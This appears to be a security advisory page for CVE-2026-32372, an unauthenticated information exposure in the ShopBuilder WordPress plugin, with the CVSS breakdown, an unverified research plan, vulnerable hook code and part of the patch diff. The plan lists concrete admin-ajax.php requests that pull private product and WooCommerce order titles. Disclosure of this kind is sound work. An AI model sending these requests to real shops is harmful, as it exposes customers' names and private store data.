CVE-2026-32372

ShopBuilder – Elementor WooCommerce Builder Addons <= 3.2.4 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.2.5
Patched in
77d
Time to patch

Description

The ShopBuilder – WooCommerce Builder For Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.2.4. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.2.4
PublishedFebruary 18, 2026
Last updatedMay 5, 2026
Affected pluginshopbuilder

What Changed in the Fix

Changes introduced in v3.2.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-32372 Information Exposure in ShopBuilder ## 1. Vulnerability Summary The **ShopBuilder – Elementor WooCommerce Builder Addons** plugin (versions <= 3.2.4) is vulnerable to **Unauthenticated Information Exposure**. The vulnerability stems from AJAX handlers that are regist…

Show full research plan

Research Plan: CVE-2026-32372 Information Exposure in ShopBuilder

1. Vulnerability Summary

The ShopBuilder – Elementor WooCommerce Builder Addons plugin (versions <= 3.2.4) is vulnerable to Unauthenticated Information Exposure. The vulnerability stems from AJAX handlers that are registered for both authenticated and unauthenticated users (wp_ajax_nopriv_) which lack proper capability checks or post-status restrictions. This allows an attacker to query for and retrieve titles/data of sensitive post types, such as WooCommerce orders, private products, and internal templates.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions:
    • rtsb_select2_object_search
    • rtsb_select2_get_title
  • Vulnerable Parameters: post_type, q (search term), and id (for get_title).
  • Authentication: Unauthenticated (via wp_ajax_nopriv_ hooks).
  • Preconditions: The plugin must be active. WooCommerce must be active for maximum impact (leaking orders).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST or GET request to admin-ajax.php with the action rtsb_select2_object_search.
  2. Hook Registration: In app/Controllers/BuilderController.php, the following hooks are registered:
    add_action( 'wp_ajax_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
    add_action( 'wp_ajax_nopriv_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
    add_action( 'wp_ajax_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
    add_action( 'wp_ajax_nopriv_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
    
  3. Handler Execution: The select2_ajax_posts_filter_autocomplete method (invoked by nopriv_rtsb_select2_object_search) processes user-supplied parameters.
  4. Information Leak: The handler typically performs a WP_Query based on the post_type and q parameters. If it fails to restrict the post_status to publish or verify the user's capability to read the requested post_type, it returns titles and IDs of private or restricted content.

4. Nonce Acquisition Strategy

While many search-related AJAX handlers in Elementor add-ons omit nonce checks to improve performance and compatibility with caching, we should prepare to acquire one if required.

  1. Identify Trigger: The rtsb_select2_object_search is likely used by the "WooCommerce AJAX Product Filter Widget" or "Checkout Fields Editor" modules mentioned in the README.txt.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Search Test" --post_status=publish --post_content='[shopbuilder_ajax_filter]' 
    # Note: If shortcode name is unknown, use a generic WooCommerce shop page.
    
  3. Extract Nonce: ShopBuilder likely localizes its settings. Use browser_eval to look for nonces in the global scope:
    • Variable Guess: window.rtsb_params?.nonce
    • Variable Guess: window.shopbuilder_data?.nonce
    • Variable Guess: window.rtsb_select2_nonce

Note: If the nopriv registration was intentional for frontend filters, the nonce is likely public.

5. Exploitation Strategy

We will attempt to leak the title of a WooCommerce Order and a Private Product.

Step 1: Discover Search Endpoint

Send an unauthenticated request to the search action to determine if it responds without a nonce.

Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=rtsb_select2_object_search&q=secret&post_type=any

Step 2: Target Sensitive Data

If the previous request succeeds, target WooCommerce orders. Orders often contain the customer's name in the title.

Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body: action=rtsb_select2_object_search&q=Order&post_type=shop_order

Step 3: Leak Titles by ID

Use the rtsb_select2_get_title action to retrieve the title of a specific known ID.

Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body: action=rtsb_select2_get_title&id=ID_OF_PRIVATE_POST

6. Test Data Setup

Perform the following via WP-CLI to create content to leak:

  1. Create a Private Product:
    wp post create --post_type=product --post_title="SECRET_VULN_PRODUCT" --post_status=private
    
  2. Create a WooCommerce Order:
    wp post create --post_type=shop_order --post_title="CONFIDENTIAL_ORDER_DOE" --post_status=wc-processing
    
  3. Identify IDs: Note the IDs returned by the above commands for use in Step 3 of the exploitation.

7. Expected Results

  • A successful exploit of rtsb_select2_object_search will return a JSON object containing an array (e.g., results or data) where the text or title property matches "SECRET_VULN_PRODUCT" or "CONFIDENTIAL_ORDER_DOE".
  • A successful exploit of rtsb_select2_get_title will return the string or JSON containing the exact title of the post ID provided, regardless of its private status.

8. Verification Steps

  1. Capture Response: Verify the HTTP response body contains the string SECRET_VULN_PRODUCT.
  2. Confirm Status: Use WP-CLI to confirm that the post is indeed private:
    wp post get <ID> --field=post_status
    
    If the status is private but the title was returned to an unauthenticated user, the exposure is confirmed.

9. Alternative Approaches

If post_type=any is blocked, try specific internal post types:

  • shop_order (WooCommerce Orders)
  • rtsb_builder (The plugin's own templates - may contain configuration data)
  • wp_template (FSE templates)
  • customize_changeset (Drafted site changes)

If a nonce is strictly required and not found on the frontend, check if check_ajax_referer is called with $die = false in the controller:

// Inferred pattern to check for
check_ajax_referer( 'rtsb_nonce', 'nonce', false );
// If result is not checked, the exploit still works with a dummy nonce.
Research Findings
Static analysis — not yet PoC-verified

Summary

The ShopBuilder plugin for WordPress is vulnerable to unauthenticated sensitive information exposure due to AJAX handlers that lack proper authorization checks. Attackers can exploit these handlers to search for and retrieve the titles of restricted post types, including WooCommerce orders and private products, potentially leaking customer names and internal site configurations.

Vulnerable Code

// app/Controllers/BuilderController.php (around line 111)

// RT Select2 Ajax.
add_action( 'wp_ajax_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
add_action( 'wp_ajax_nopriv_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
// Select2 ajax save data.
add_action( 'wp_ajax_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
add_action( 'wp_ajax_nopriv_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.4/app/AI/DB/AIDB.php /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.5/app/AI/DB/AIDB.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.4/app/AI/DB/AIDB.php	2026-01-22 09:39:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.5/app/AI/DB/AIDB.php	2026-02-17 06:32:52.000000000 +0000
@@ -106,7 +106,7 @@
 			// Insert new record.
 			$data['product_id'] = absint( $product_id );
 			$data['created_at'] = current_time( 'mysql' );
-			Fns::DB()::insert( AIFns::$ai_embeddings_table, [ $data ] );
+			Fns::DB()::insert( AIFns::$ai_embeddings_table, [ $data ] )->execute();
 			return true;
 		}
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.4/app/Controllers/Admin/Ajax/ModalTemplate.php /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.5/app/Controllers/Admin/Ajax/ModalTemplate.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.4/app/Controllers/Admin/Ajax/ModalTemplate.php	2026-01-22 09:39:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.5/app/Controllers/Admin/Ajax/ModalTemplate.php	2026-02-17 06:32:52.000000000 +0000
@@ -376,6 +376,10 @@
 						$set_default     = BuilderFns::get_specific_category_as_default( $post_id );
 						if ( ! empty( $categories_name ) && $set_default ) {
 							$template_default = $post_id;
+						} else {
+							$option_name    = BuilderFns::option_name( $template_type );
+							$is_set_default = TemplateSettings::instance()->get_option( $option_name );
+							$set_default    = $is_set_default;
 						}
 						if ( ! $set_default && $template_default === $post_id ) {
 							$template_default = '';
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.4/app/Controllers/Builder/BuilderCpt.php /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.5/app/Controllers/Builder/BuilderCpt.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.4/app/Controllers/Builder/BuilderCpt.php	2026-01-22 09:39:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shopbuilder/3.2.5/app/Controllers/Builder/BuilderCpt.php	2026-02-17 06:32:52.000000000 +0000
@@ -276,6 +276,10 @@
 					if ( ! empty( $categories_name ) && $set_default ) {
 						$is_set_default = $post_id;
 						$page_type_for  = 'template-' . $post_id . '-specific-category';
+					} else {
+						$option_name    = BuilderFns::option_name( $template_type );
+						$is_set_default = TemplateSettings::instance()->get_option( $option_name );
+						$set_default    = $is_set_default;
 					}
 					if ( ! $set_default && $is_set_default === $post_id ) {
 						$is_set_default = '';
... (truncated)

Exploit Outline

An unauthenticated attacker can query sensitive data by sending an AJAX request to /wp-admin/admin-ajax.php. By setting the 'action' parameter to 'rtsb_select2_object_search' and specifying 'post_type=shop_order', the attacker can use the 'q' parameter to search for strings (e.g., 'Order'). The plugin's handler will return a JSON list of post IDs and titles matching the search, even for private posts or orders. Alternatively, 'rtsb_select2_get_title' can be used with a specific 'id' to retrieve the title of any post directly. No nonce or authentication is required in vulnerable versions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.